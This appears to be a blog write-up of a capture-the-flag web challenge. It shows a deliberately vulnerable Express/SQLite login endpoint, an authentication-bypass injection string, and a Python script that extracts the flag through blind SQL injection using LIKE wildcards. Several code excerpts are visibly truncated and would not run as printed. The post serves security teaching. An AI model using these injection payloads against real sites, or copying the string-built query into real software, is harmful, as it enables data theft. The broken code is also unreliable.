A quick but interesting proof-of-concept demonstrating that security by obscurity does not and will never work. Even if you don’t show reflected feedback from SQL commands, your database is still not safe.

The Challenge

We are presented with a standard login page looking mighty submissive and pwnable and containing only a single password field. Let’s take a look at the server-side code:

const crypto = require('crypto')
const database = require('better-sqlite3')
const express = require('express')
const app = express()

FLAG = process.env.FLAG ?? 'flag{testflag}'
const db = new database(':memory:')
const id = () => crypto.randomBytes(16).toString('hex')


app.post('/password', (req, res) => {
    const password = (req.body.password ?? '').toString()
    const result = db.prepare(
        `SELECT password FROM passwords WHERE password='${password}';`

    if (result) res.json({
        success: true,
        message: (
            'Congrats on logging in! However, that\'s not enough... can you ' +
            'find the flag in the database this time?'
    else res.json({ success: false })

    CREATE TABLE passwords (
        password TEXT

    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${FLAG}');



And here’s what the JavaScript looks like on the frontend:

form.addEventListener('submit', async (event) => {
	const input = document.querySelector('input[type="text"]');
	const response = await fetch('/password', {
	  method: 'POST',
	  headers: { 'content-type': 'application/json' },
	  body: JSON.stringify({ password: input.value }),


	const result = await response.json()
	if (result.success) {
	  const content = document.querySelector('.content')
	  content.textContent = result.message;
	} else {
	  input.style.animation = 'shake 0.25s';

We can see that after clicking the Login button, our password field data will be sent over to the server endpoint /password and processed using the SQL select string

SELECT password FROM passwords WHERE password='${password}';

Trying the standard authentication bypass string admin' OR '1'='1';-- and logging in we are able to see the message Congrats on logging in! However, that's not enough... can you find the flag in the database this time?

Looking more closely at the provided source code, we see:

FLAG = process.env.FLAG ?? 'flag{testflag}'
    CREATE TABLE passwords (
        password TEXT


    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${id()}');
    INSERT INTO passwords (password) VALUES ('${FLAG}');

The flag we are looking for is loaded in from an environment variable as is standard and INSERTed into the sqlite3 database. With seemingly no feedback from our SQL injections, however, we’ll have to think of a more creative way to leak the passwords table in the database!

Thinking About The Problem and SQL

One piece of feedback we do get is whether or not our SQL injection string did in fact run successfully and match something in the database or not. If we could somehow send a SQL injection that would return true if our input was similar to or LIKE one of the actual passwords in the database, we could bruteforce the password character by character.

Thankfully, SQL has the aptly named LIKE operator that does just this. We can use the LIKE operator in conjunction with the % wildcard character to match the flag in the database character by character, with the server returning a valid logged-in true response only if our guess is similar to the flag in the passwords table.

Our exploit string should look something along the lines of ' OR password LIKE '[guess]% utilizing the previously selected password variable in the first half of the statement as well as the already provided ending single quote '; at the end of the statement.

The Exploit

Here’s a quick bruteforce script to run this exploit iteratively on the /password endpoint:

import requests 

possibilities = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#Z^&*()" 

#flag = flag{whee_binary_search_sqli}
flag = "flag{"
url = "https://password-3.challs.wreckctf.com/password" 
payload = "" 

while True: 
    for char in possibilities: 
        print("Trying: " + flag + payload + char) 
        password = f"' OR password LIKE '{flag + payload + char}%" 
        r = requests.post(url, json={"password": password}) 
        if r.text.find("Congrats") != -1: 
            payload += char if payload[-1] == "}": 

This implementation isn’t entirely complete as it breaks at the last character and I had to manually add the ending curly brace } for the flag, but it nonetheless iterates through all the previous characters and gets the necessary part of the flag.

Challenge Analysis

This was a quick and simple challenge, but quite an interesting one that highlights a key issue in many developers’ intuition. Just because a hacker can’t see the output of your SQL commands and other backend maneuvers does not necessarily mean they won’t be able to expose sensitive information from the backend.

The challenge provided us with the source code for the server, making it almost immediately apparent what had to be done. However, even without source code, this kind of a vulnerability would be easy to catch given a form submission on any website or API running on a SQL database backend. It could also easily be escalated to read data from other tables on the database if not secured properly, leading to much larger-scale data leaks than a single flag in a single table.


Patrick Dobranowski

Making and breaking things around the world since before Pluto lost its planet status. Just your average spray-on-cheese hater navigating this complex reality by a love of cybersecurity, machine learning, low-level architecture, physics, and tea that makes you think everything will be alright.

Read More